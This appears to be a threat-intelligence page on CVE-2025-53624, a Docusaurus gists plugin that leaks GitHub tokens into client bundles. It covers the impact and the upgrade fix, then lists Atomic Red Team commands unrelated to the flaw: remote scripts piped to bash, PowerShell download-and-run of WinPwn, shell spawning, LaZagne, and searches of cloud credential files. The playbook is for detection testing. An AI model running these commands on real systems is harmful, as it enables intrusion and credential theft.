CVE-2025-53624
Overview
This vulnerability is an information exposure flaw resulting from improper handling of sensitive configuration data within the docusaurus-plugin-content-gists component. Specifically, GitHub Personal Access Tokens provided via plugin configuration are embedded into client-side JavaScript bundles during the build process, exposing them in the production artifact. The affected feature is the Docusaurus gists plugin prior to version 4.0.0, which aggregates and displays public GitHub gists on a Docusaurus site.
Vulnerability Description
The Docusaurus gists plugin adds a page to your Docusaurus instance, displaying all public gists of a GitHub user. docusaurus-plugin-content-gists versions prior to 4.0.0 are vulnerable to exposing GitHub Personal Access Tokens in production build artifacts when passed through plugin configuration options. The token, intended for build-time API access only, is inadvertently included in client-side JavaScript bundles, making it accessible to anyone who can view the website's source code. This vulnerability is fixed in 4.0.0.
Impact
An unauthenticated remote attacker can extract the exposed GitHub Personal Access Token by viewing the client-side JavaScript bundles of a website using the vulnerable plugin. This token leakage allows unauthorized access to the victim's GitHub API privileges associated with the token, potentially leading to data exfiltration, repository modification, or other malicious actions within the scope of the token. The vulnerability requires no user interaction and is exploitable remotely via network access to the affected website, as indicated by CVSS vector AV:N/AC:L/PR:N/UI:N.
Solution
Upgrade docusaurus-plugin-content-gists to version 4.0.0 or later, where the exposure of GitHub Personal Access Tokens in client-side bundles has been addressed. Detailed remediation steps and patch information are available in the GitHub security advisory GHSA-qf34-qpr4-5pph (https://github.com/webbertakken/docusaurus-plugin-content-gists/security/advisories/GHSA-qf34-qpr4-5pph). Users should apply this update promptly to prevent token leakage.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability associated with the Docusaurus gists plugin stems from improper handling of sensitive information, specifically GitHub Personal Access Tokens. When configured to utilize this plugin, developers inadvertently expose these tokens within the client-side JavaScript bundles generated during the production build process. This occurs because the tokens, intended solely for build-time API access, are not adequately secured or filtered out before being included in the final output. As a result, any individual who has access to the website can inspect the source code and retrieve these tokens, which can lead to unauthorized access to the associated GitHub account and its resources.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could simply navigate to the affected website, view the source code, and extract the exposed Personal Access Tokens. With these tokens, they could gain access to the user's GitHub account, allowing them to perform actions such as reading private repositories, modifying code, or even deleting critical assets. Furthermore, if the compromised account has elevated permissions, the attacker could potentially impact other users or systems linked to that account, amplifying the severity of the breach. The simplicity of this attack highlights the critical need for developers to be vigilant in securing sensitive information during the build process.
The real-world impact of this vulnerability can be significant, particularly for organizations that rely on GitHub for their development workflows. If an attacker successfully exploits the exposure of Personal Access Tokens, they could gain access to proprietary code, sensitive data, or even customer information, leading to data breaches that could damage the organization's reputation and result in financial losses. Moreover, regulatory implications may arise if the exposed data includes personally identifiable information (PII) or other regulated data types, potentially leading to fines and legal consequences. The business risk is compounded by the fact that many organizations may not be aware of the exposure until it is too late, underscoring the importance of proactive security measures.
To detect and mitigate this vulnerability, organizations should adopt a multi-faceted approach. First, it is essential to audit existing Docusaurus instances and any plugins in use to identify versions that may be vulnerable. Developers should ensure that they are using the latest version of the Docusaurus gists plugin, which addresses this specific issue. Additionally, implementing code review practices that emphasize the security of configuration options can help prevent the inclusion of sensitive information in build artifacts. Organizations should also consider employing automated security scanning tools that can analyze the output of production builds for any hardcoded secrets or sensitive data.
In conclusion, the vulnerability associated with the Docusaurus gists plugin serves as a stark reminder of the importance of secure coding practices and the need for developers to be vigilant about the handling of sensitive information. By understanding the technical details, potential attack vectors, and real-world implications of such vulnerabilities, organizations can better prepare themselves to defend against exploitation. Proactive detection and mitigation strategies are critical to safeguarding sensitive data and maintaining trust in the development ecosystem.
CSURFACE threat intelligence has identified a measurable increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2025-53624, reflecting a growing likelihood of exploitation attempts targeting the Docusaurus gists plugin vulnerability. Although no new exploit techniques or active campaigns have been detected by our telemetry, the upward trend in EPSS—now approaching the 93rd percentile—indicates heightened interest or preparatory activity among threat actors. This shift underscores an elevated risk posture for organizations utilizing affected versions of the plugin, as the inadvertent exposure of GitHub Personal Access Tokens in client-side code remains a critical attack vector. The increased EPSS score suggests that exploitation may become more frequent or widespread in the near term, warranting continued vigilance. While the absence of confirmed exploit sightings tempers immediate alarm, defenders should recognize that the evolving threat landscape is trending toward greater exploitation potential, thereby raising the overall threat level from high to critical in practical terms.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-53624 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/webbertakken/docusaurus-plugin-content-gists/security/advisories/GHSA-qf34-qpr4-5pph |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/webbertakken/docusaurus-plugin-content-gists/commit/8d4230b82412edb215ddfa9e609d178510a5fe31 |